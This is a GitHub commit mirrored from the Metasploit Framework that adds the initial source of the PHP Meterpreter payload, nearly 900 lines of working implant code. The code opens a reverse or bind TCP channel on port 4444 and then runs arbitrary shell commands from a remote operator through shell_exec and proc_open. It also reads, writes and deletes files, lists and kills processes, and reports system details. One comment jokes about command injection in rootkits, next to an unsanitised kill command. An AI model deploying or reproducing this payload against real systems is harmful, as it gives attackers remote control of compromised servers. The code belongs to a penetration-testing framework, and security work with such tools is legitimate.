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mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

initial commit of php meterpreter, see #391. upload, download, cd, pwd, ls, cat, sysinfo, getpid, and ps all work fine.

* execute works with channel read/write but no interact yet
* getuid is weird, since php's get_current_user() and getmyuid() return the owner of the file instead of the running uid (wtf?)



git-svn-id: file:///home/svn/framework3/trunk@9393 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee 2010-06-02 08:28:39 +00:00
parent ce8a9e9318
commit fe43e91bad
2 changed files with 932 additions and 0 deletions

View File

@ -0,0 +1,890 @@
#<?php
function my_print($str) {
print($str ."\n");
flush();
}
if (!function_exists("file_get_contents")) {
function file_get_contents($file) {
$f = @fopen($file,"rb");
$contents = false;
if ($f) {
do { $contents .= fgets($f); } while (!feof($f));
}
fclose($f);
return $contents;
}
}
function hexdump($data, $htmloutput = false, $uppercase = false, $return = false)
{
# Init
$hexi = '';
$ascii = '';
$dump = ($htmloutput === true) ? '<pre>' : '';
$offset = 0;
$len = strlen($data);
# Upper or lower case hexidecimal
$x = ($uppercase === false) ? 'x' : 'X';
# Iterate string
for ($i = $j = 0; $i < $len; $i++) {
# Convert to hexidecimal
$hexi .= sprintf("%02$x ", ord($data[$i]));
# Replace non-viewable bytes with '.'
if (ord($data[$i]) >= 32) {
$ascii .= ($htmloutput === true) ?
htmlentities($data[$i]) :
$data[$i];
} else {
$ascii .= '.';
}
# Add extra column spacing
if ($j === 7) {
$hexi .= ' ';
$ascii .= ' ';
}
# Add row
if (++$j === 16 || $i === $len - 1) {
# Join the hexi / ascii output
$dump .= sprintf("%04$x %-49s %s", $offset, $hexi, $ascii);
# Reset vars
$hexi = $ascii = '';
$offset += 16;
$j = 0;
# Add newline
if ($i !== $len - 1) {
$dump .= "\n";
}
}
}
# Finish dump
$dump .= $htmloutput === true ? '</pre>' : '';
$dump .= "\n";
# Output method
if ($return === false) {
echo $dump;
} else {
return $dump;
}
}
#
# Constants
#
define("PACKET_TYPE_REQUEST",0);
define("PACKET_TYPE_RESPONSE",1);
define("PACKET_TYPE_PLAIN_REQUEST", 10);
define("PACKET_TYPE_PLAIN_RESPONSE", 11);
define("ERROR_SUCCESS",0);
# not defined in original C implementation
define("ERROR_FAILURE",1);
define("CHANNEL_CLASS_BUFFERED", 0);
define("CHANNEL_CLASS_STREAM", 1);
define("CHANNEL_CLASS_DATAGRAM", 2);
define("CHANNEL_CLASS_POOL", 3);
#
# TLV Meta Types
#
define("TLV_META_TYPE_NONE", ( 0 ));
define("TLV_META_TYPE_STRING", (1 << 16));
define("TLV_META_TYPE_UINT", (1 << 17));
define("TLV_META_TYPE_RAW", (1 << 18));
define("TLV_META_TYPE_BOOL", (1 << 19));
define("TLV_META_TYPE_COMPRESSED", (1 << 29));
define("TLV_META_TYPE_GROUP", (1 << 30));
define("TLV_META_TYPE_COMPLEX", (1 << 31));
# not defined in original
define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<19)+(1<<18)+(1<<17)+(1<<16));
#
# TLV base starting points
#
define("TLV_RESERVED", 0);
define("TLV_EXTENSIONS", 20000);
define("TLV_USER", 40000);
define("TLV_TEMP", 60000);
#
# TLV Specific Types
#
define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0);
define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1);
define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2);
define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3);
define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4);
define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10);
define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11);
define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12);
define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25);
define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26);
define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27);
define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50);
define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51);
define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52);
define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53);
define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54);
define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70);
define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71);
define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72);
define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300);
define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301);
define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400);
define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402);
define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403);
define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
##
# General
##
define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600);
define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601);
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630);
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631);
##
# Fs
##
define("TLV_TYPE_DIRECTORY_PATH", TLV_META_TYPE_STRING | 1200);
define("TLV_TYPE_FILE_NAME", TLV_META_TYPE_STRING | 1201);
define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202);
define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203);
define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220);
##
# Net
##
define("TLV_TYPE_HOST_NAME", TLV_META_TYPE_STRING | 1400);
define("TLV_TYPE_PORT", TLV_META_TYPE_UINT | 1401);
define("TLV_TYPE_SUBNET", TLV_META_TYPE_RAW | 1420);
define("TLV_TYPE_NETMASK", TLV_META_TYPE_RAW | 1421);
define("TLV_TYPE_GATEWAY", TLV_META_TYPE_RAW | 1422);
define("TLV_TYPE_NETWORK_ROUTE", TLV_META_TYPE_GROUP | 1423);
define("TLV_TYPE_IP", TLV_META_TYPE_RAW | 1430);
define("TLV_TYPE_MAC_ADDRESS", TLV_META_TYPE_RAW | 1431);
define("TLV_TYPE_MAC_NAME", TLV_META_TYPE_STRING | 1432);
define("TLV_TYPE_NETWORK_INTERFACE", TLV_META_TYPE_GROUP | 1433);
define("TLV_TYPE_SUBNET_STRING", TLV_META_TYPE_STRING | 1440);
define("TLV_TYPE_NETMASK_STRING", TLV_META_TYPE_STRING | 1441);
define("TLV_TYPE_GATEWAY_STRING", TLV_META_TYPE_STRING | 1442);
# Socket
define("TLV_TYPE_PEER_HOST", TLV_META_TYPE_STRING | 1500);
define("TLV_TYPE_PEER_PORT", TLV_META_TYPE_UINT | 1501);
define("TLV_TYPE_LOCAL_HOST", TLV_META_TYPE_STRING | 1502);
define("TLV_TYPE_LOCAL_PORT", TLV_META_TYPE_UINT | 1503);
define("TLV_TYPE_CONNECT_RETRIES", TLV_META_TYPE_UINT | 1504);
define("TLV_TYPE_SHUTDOWN_HOW", TLV_META_TYPE_UINT | 1530);
##
# Sys
##
define("PROCESS_EXECUTE_FLAG_HIDDEN", (1 << 0));
define("PROCESS_EXECUTE_FLAG_CHANNELIZED", (1 << 1));
define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2));
define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));
# Registry
define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000);
define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY);
define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001);
define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002);
define("TLV_TYPE_KEY_NAME", TLV_META_TYPE_STRING | 1003);
define("TLV_TYPE_VALUE_NAME", TLV_META_TYPE_STRING | 1010);
define("TLV_TYPE_VALUE_TYPE", TLV_META_TYPE_UINT | 1011);
define("TLV_TYPE_VALUE_DATA", TLV_META_TYPE_RAW | 1012);
# Config
define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040);
define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041);
define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042);
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
# Process
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000);
define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001);
define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002);
define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003);
define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004);
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005);
define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006);
define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007);
define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008);
define("TLV_TYPE_PID", TLV_META_TYPE_UINT | 2300);
define("TLV_TYPE_PROCESS_NAME", TLV_META_TYPE_STRING | 2301);
define("TLV_TYPE_PROCESS_PATH", TLV_META_TYPE_STRING | 2302);
define("TLV_TYPE_PROCESS_GROUP", TLV_META_TYPE_GROUP | 2303);
define("TLV_TYPE_PROCESS_FLAGS", TLV_META_TYPE_UINT | 2304);
define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305);
define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400);
define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401);
define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402);
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403);
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404);
define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405);
define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406);
define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500);
define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502);
define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510);
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511);
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512);
define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513);
define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540);
define("TLV_TYPE_REGISTER_SIZE", TLV_META_TYPE_UINT | 2541);
define("TLV_TYPE_REGISTER_VALUE_32", TLV_META_TYPE_UINT | 2542);
define("TLV_TYPE_REGISTER", TLV_META_TYPE_GROUP | 2550);
##
# Ui
##
define("TLV_TYPE_IDLE_TIME", TLV_META_TYPE_UINT | 3000);
define("TLV_TYPE_KEYS_DUMP", TLV_META_TYPE_STRING | 3001);
define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002);
##
# Event Log
##
define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000);
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001);
define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002);
define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003);
define("TLV_TYPE_EVENT_RECORDOFFSET", TLV_META_TYPE_UINT | 4004);
define("TLV_TYPE_EVENT_RECORDNUMBER", TLV_META_TYPE_UINT | 4006);
define("TLV_TYPE_EVENT_TIMEGENERATED", TLV_META_TYPE_UINT | 4007);
define("TLV_TYPE_EVENT_TIMEWRITTEN", TLV_META_TYPE_UINT | 4008);
define("TLV_TYPE_EVENT_ID", TLV_META_TYPE_UINT | 4009);
define("TLV_TYPE_EVENT_TYPE", TLV_META_TYPE_UINT | 4010);
define("TLV_TYPE_EVENT_CATEGORY", TLV_META_TYPE_UINT | 4011);
define("TLV_TYPE_EVENT_STRING", TLV_META_TYPE_STRING | 4012);
define("TLV_TYPE_EVENT_DATA", TLV_META_TYPE_RAW | 4013);
##
# Power
##
define("TLV_TYPE_POWER_FLAGS", TLV_META_TYPE_UINT | 4100);
define("TLV_TYPE_POWER_REASON", TLV_META_TYPE_UINT | 4101);
function my_cmd($cmd) {
return shell_exec($cmd);
}
##
# STDAPI
##
# Wrap everything in checks for existence of the new functions in case we get
# eval'd twice
my_print("Evaling stdapi");
# works
if (!function_exists('stdapi_fs_chdir')) {
function stdapi_fs_chdir($req, &$pkt) {
my_print("doing chdir\n");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
chdir($path_tlv['value']);
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_fs_delete')) {
function stdapi_fs_delete($req, &$pkt) {
my_print("doing delete\n");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
$ret = unlink($path_tlv['value']);
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_getwd')) {
function stdapi_fs_getwd($req, &$pkt) {
my_print("doing pwd\n");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
return ERROR_SUCCESS;
}
}
# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
function stdapi_fs_ls($req, &$pkt) {
my_print("doing ls\n");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$path = $path_tlv['value'];
$dir_handle = @opendir($path);
if ($dir_handle) {
#my_print("Doing an ls\n");
while ($file = readdir($dir_handle)) {
if ($file != "." && $file != "..") {
#my_print("Adding file $file\n");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file));
$st = stat($path . DIRECTORY_SEPARATOR . $file);
$st_buf = "";
$st_buf .= pack("V", $st['dev']);
$st_buf .= pack("v", $st['ino']);
$st_buf .= pack("v", $st['mode']);
$st_buf .= pack("v", $st['nlink']);
$st_buf .= pack("v", $st['uid']);
$st_buf .= pack("v", $st['gid']);
$st_buf .= pack("v", 0);
$st_buf .= pack("V", $st['rdev']);
$st_buf .= pack("V", $st['size']);
$st_buf .= pack("V", $st['atime']);
$st_buf .= pack("V", $st['mtime']);
$st_buf .= pack("V", $st['ctime']);
$st_buf .= pack("V", $st['blksize']);
$st_buf .= pack("V", $st['blocks']);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
}
}
closedir($dir_handle);
return ERROR_SUCCESS;
} else {
return ERROR_FAILURE;
}
}
}
# works
if (!function_exists('stdapi_sys_config_getuid')) {
function stdapi_sys_config_getuid($req, &$pkt) {
my_print("doing getuid\n");
$user = get_current_user() . " (" . getmyuid() . ")";
packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user));
return ERROR_SUCCESS;
}
}
# Unimplemented becuase it's unimplementable
if (!function_exists('stdapi_sys_config_rev2self')) {
function stdapi_sys_config_rev2self($req, &$pkt) {
my_print("doing rev2self\n");
return ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
function stdapi_sys_config_sysinfo($req, &$pkt) {
my_print("doing sysinfo\n");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname()));
return ERROR_SUCCESS;
}
}
$processes = array();
if (!function_exists('stdapi_sys_process_execute')) {
function stdapi_sys_process_execute($req, &$pkt) {
my_print("doing execute\n");
$cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH);
$args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS);
$flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS);
$cmd = $cmd_tlv['value'];
$args = $args_tlv['value'];
$flags = $flags_tlv['value'];
# If there was no command specified, well, a user sending an empty command
# deserves failure.
my_print("Cmd: $cmd $args\n");
$real_cmd = $cmd ." ". $args;
if (0 > strlen($cmd)) {
return ERROR_FAILURE;
}
my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")\n");
if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
global $processes, $channels;
my_print("Channelized\n");
$handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes);
if ($handle === false) {
return ERROR_FAILURE;
}
$processes[] = $handle;
$channels[] = $pipes;
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, count($channels)-1));
} else {
# Don't care about stdin/stdout, just run the command
my_cmd($real_cmd);
}
return ERROR_SUCCESS;
}
}
# Works, but not very portable. There doesn't appear to be a PHP way of
# getting a list of processes, so we just shell out to ps. I need to decide
# what options to send to ps for portability and for information usefulness;
# also, figure out a windows option -- tasklist.exe might work, but it doesn't
# exist on older versions.
if (!function_exists('stdapi_sys_process_get_processes')) {
function stdapi_sys_process_get_processes($req, &$pkt) {
my_print("doing get_processes\n");
$list = array();
# This command produces a line like:
# 1553 root /sbin/getty -8 38400 tty1
$output = my_cmd("ps a -w -o pid,user,cmd --no-header 2>/dev/null");
$lines = explode("\n", trim($output));
foreach ($lines as $line) {
array_push($list, preg_split("/\s+/", trim($line)));
}
foreach ($list as $proc) {
$grp = "";
$grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2]));
# Strip the pid and the user name off the front; the rest will be the
# full command line
array_shift($proc);
array_shift($proc);
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " ")));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp));
}
return ERROR_SUCCESS;
}
}
# works
if (!function_exists('stdapi_sys_process_getpid')) {
function stdapi_sys_process_getpid($req, &$pkt) {
my_print("doing getpid\n");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_sys_process_kill')) {
function stdapi_sys_process_kill($req, &$pkt) {
# The existence of posix_kill is unlikely (it's a php compile-time option
# that isn't enabled by default, but better to try it and avoid shelling
# out when unnecessary.
my_print("doing kill\n");
$pid_tlv = packet_get_tlv($req, TLV_TYPE_PID);
$pid = $pid_tlv['value'];
if (is_callable('posix_kill')) {
$ret = posix_kill($pid, 9);
$ret = $ret ? ERROR_SUCCESS : posix_get_last_error();
if ($ret != ERROR_SUCCESS) {
my_print(posix_strerror($ret) . "\n");
}
} else {
# every rootkit should have command injection vulnerabilities
if ("foo" == my_cmd("kill -9 $pid && echo foo")) {
$ret = ERROR_SUCCESS;
} else {
$ret = ERROR_FAILURE;
}
}
return $ret;
}
}
# END STDAPI
##
# Channel Helper Functions
##
$channels = array();
# XXX Does not honor a given mode, opens in read-only
function channel_create_stdapi_fs_file($req, &$pkt) {
global $channels;
$fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE);
my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}");
if (!$mode_tlv) {
$mode_tlv = array('value' => 'rb');
}
$fd = @fopen($fpath_tlv['value'], $mode_tlv['value']);
if (is_resource($fd)) {
array_push($channels, array(0 => $fd, 1 => $fd));
$id = count($channels) - 1;
my_print("Created new channel $fd, with id $id\n");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
return ERROR_SUCCESS;
}
return ERROR_FAILURE;
}
##
# Worker functions
##
function core_channel_open($req, &$pkt) {
$type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE);
my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do\n");
$handler = "channel_create_". $type_tlv['value'];
if ($type_tlv['value'] && is_callable($handler)) {
$ret = $handler($req, $pkt);
} else {
$ret = channel_create_generic($req, $pkt);
}
return $ret;
}
function core_channel_eof($req, &$pkt) {
my_print("doing channel eof\n");
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
$c = get_channel_by_id($chan_tlv['value']);
var_dump($c);
if ($c) {
if (feof($c[1])) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1));
} else {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0));
}
return ERROR_SUCCESS;
} else {
return ERROR_FAILURE;
}
}
# Works for streams that work with fread
# TODO: Genericize me
function core_channel_read($req, &$pkt) {
print "doing channel read\n";
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
$id = $chan_tlv['value'];
$len = $len_tlv['value'];
$data = channel_read($id, $len);
if ($data === false) {
$res = ERROR_FAILURE;
} else {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
$res = ERROR_SUCCESS;
}
return $res;
}
# Works for streams that work with fwrite
# TODO: Genericize me
function core_channel_write($req, &$pkt) {
print "doing channel write\n";
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
$data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA);
$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
$id = $chan_tlv['value'];
$data = $data_tlv['value'];
$len = $len_tlv['value'];
$wrote = channel_write($id, $data, $len);
if ($wrote === false) {
return ERROR_FAILURE;
} else {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote));
return ERROR_SUCCESS;
}
}
function core_channel_close($req, &$pkt) {
print "doing channel close\n";
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
$id = $chan_tlv['value'];
$c = get_channel_by_id($id);
if ($c) {
# We found a channel, close its stdin/stdout/stderr
@fclose($c[0]);
@fclose($c[1]);
@fclose($c[2]);
}
return ERROR_SUCCESS;
}
# Libraries are sent as a zlib-compressed blob. Unfortunately, zlib support is
# not default in non-Windows versions of PHP so we need some way to indicate to
# the client that we can't handle compressed blobs. Until then, don't
# actually implement loadlib yet. Maybe someday we'll have
# ext_server_stdapi.php or whatever. For now just return success.
function core_loadlib($req, &$pkt) {
my_print("doing core_loadlib (no-op)\n");
return ERROR_SUCCESS;
}
##
# Channel Helper Functions
##
$channels = array();
function get_channel_by_id($chan_id) {
global $channels;
my_print("looking for channel $chan_id\n");
var_dump($channels);
if (array_key_exists($chan_id, $channels)) {
return $channels[$chan_id];
} else {
return false;
}
}
# Write data to the channel's stdin
function channel_write($chan_id, $data) {
$c = get_channel_by_id($chan_id);
if ($c && is_resource($c[0])) {
var_dump($c);
return fwrite($c[0], $data);
} else {
return false;
}
}
# Read from the channel's stdout
function channel_read($chan_id, $len) {
$c = get_channel_by_id($chan_id);
if ($c && is_resource($c[1])) {
var_dump($c);
$result = fread($c[1], $len);
return $result;
} else {
return false;
}
}
# XXX Unimplemented
function channel_interact($chan_id) {
$c = get_channel_by_id($chan_id);
if ($c) {
return false;
} else {
return false;
}
}
##
# TLV Helper Functions
##
function create_response($req) {
$pkt = pack("N", PACKET_TYPE_RESPONSE);
$method_tlv = packet_get_tlv($req, TLV_TYPE_METHOD);
my_print("method is {$method_tlv['value']}\n");
packet_add_tlv($pkt, $method_tlv);
$reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID);
packet_add_tlv($pkt, $reqid_tlv);
if (is_callable($method_tlv['value'])) {
$result = $method_tlv['value']($req, $pkt);
} else {
my_print("Got a request for something I don't know how to handle (". $method_tlv['value'] ."), returning failure\n");
$result = ERROR_FAILURE;
}
packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result));
# Add the length to the beginning of the packet
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
return $pkt;
}
function create_tlv($type, $val) {
return array( 'type' => $type, 'value' => $val );
}
function tlv_pack($tlv) {
$ret = "";
#my_print("Creating a tlv of type: {$tlv['type']}\n");
if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
$ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0");
}
elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
$ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']);
}
elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
# PHP's pack appears to be busted for chars,
$ret = pack("NN", 8 + 1, $tlv['type']);
$ret .= $tlv['value'] ? "\x01" : "\x00";
}
elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
}
elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
# treat groups the same as raw
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
}
elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) {
# treat complex the same as raw
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
}
else {
my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf\n");
}
return $ret;
}
function packet_add_tlv(&$pkt, $tlv) {
$pkt .= tlv_pack($tlv);
}
function packet_get_tlv($pkt, $type) {
#my_print("Looking for a tlv of type $type\n");
$offset = 8;
while ($offset < strlen($pkt)) {
$tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
#my_print("len: {$tlv['len']}, type: {$tlv['type']}\n");
if ($type == $tlv['type']) {
#my_print("Found one at offset $offset\n");
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
$tlv = unpack("Nlen/Ntype/a*value", substr($pkt, $offset, $tlv['len']));
}
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
$tlv = unpack("Nlen/Ntype/Nvalue", substr($pkt, $offset, $tlv['len']));
}
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
$tlv = unpack("Nlen/Ntype/cvalue", substr($pkt, $offset, $tlv['len']));
}
elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
$tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
$tlv['value'] = substr($pkt, $offset+8, $tlv['len']-8);
}
else {
my_print("Wtf type is this? $type\n");
$tlv = NULL;
}
return $tlv;
}
$offset += $tlv['len'];
}
my_print("Didn't find one, wtf\n");
return false;
}
##
# Main stuff
##
ob_implicit_flush();
error_reporting(E_ALL);
#@ignore_user_abort(true);
@ignore_user_abort(false);
$port = 4444;
$listen = false;
if ($listen) {
my_print("Listening on $port\n");
$setsockopt = 'socket_setopt';
if (!is_callable($setsockopt )) {
# renamed in PHP 4.3.0
$setsockopt = 'socket_set_option';
}
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
# don't care if this fails
@$setsockopt($sock, SOL_SOCKET, SO_REUSEADDR, 1);
$ret = socket_bind($sock, 0, $port);
$ret = socket_listen($sock, 5);
$msgsock = socket_accept($sock);
socket_close($sock);
print "Got a socket connection $sock\n";
} else {
my_print("Connecting to $port\n");
$ipaddr = '127.0.0.1';
$msgsock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$res = socket_connect($msgsock,$ipaddr,$port);
log($res);
if (!$res) {
die();
}
}
$socket_readers = array($msgsock);
$file_readers = array();
#
# Main dispatch loop
#
while (FALSE !== socket_select($r=$socket_readers, $w=NULL, $e=NULL, 1)) {
foreach ($r as $ready) {
if ($ready == $msgsock) {
$request = socket_read($msgsock, 8, PHP_BINARY_READ);
if (FALSE==$request) {
break;
}
$a = unpack("Nlen/Ntype", $request);
# length of the whole packet, including header
$len = $a['len'];
# packet type should always be 0, i.e. PACKET_TYPE_REQUEST
$ptype = $a['type'];
while (strlen($request) < $a['len']) {
$request .= socket_read($msgsock, $len-strlen($request), PHP_BINARY_READ);
}
hexdump(substr($request, 0, $len));
my_print("creating response");
$response = create_response($request);
socket_write($msgsock, $response);
} else {
my_print("not Msgsock\n");
$data = socket_read($msgsock, 8, PHP_BINARY_READ);
if (FALSE == $data) {
}
}
}
#if (0 < count($file_readers)) {
# stream_select($r=$file_readers, $w=NULL, $e=NULL, 0);
# foreach ($r as $ready) {
# $read = fread($r,
# }
#}
}
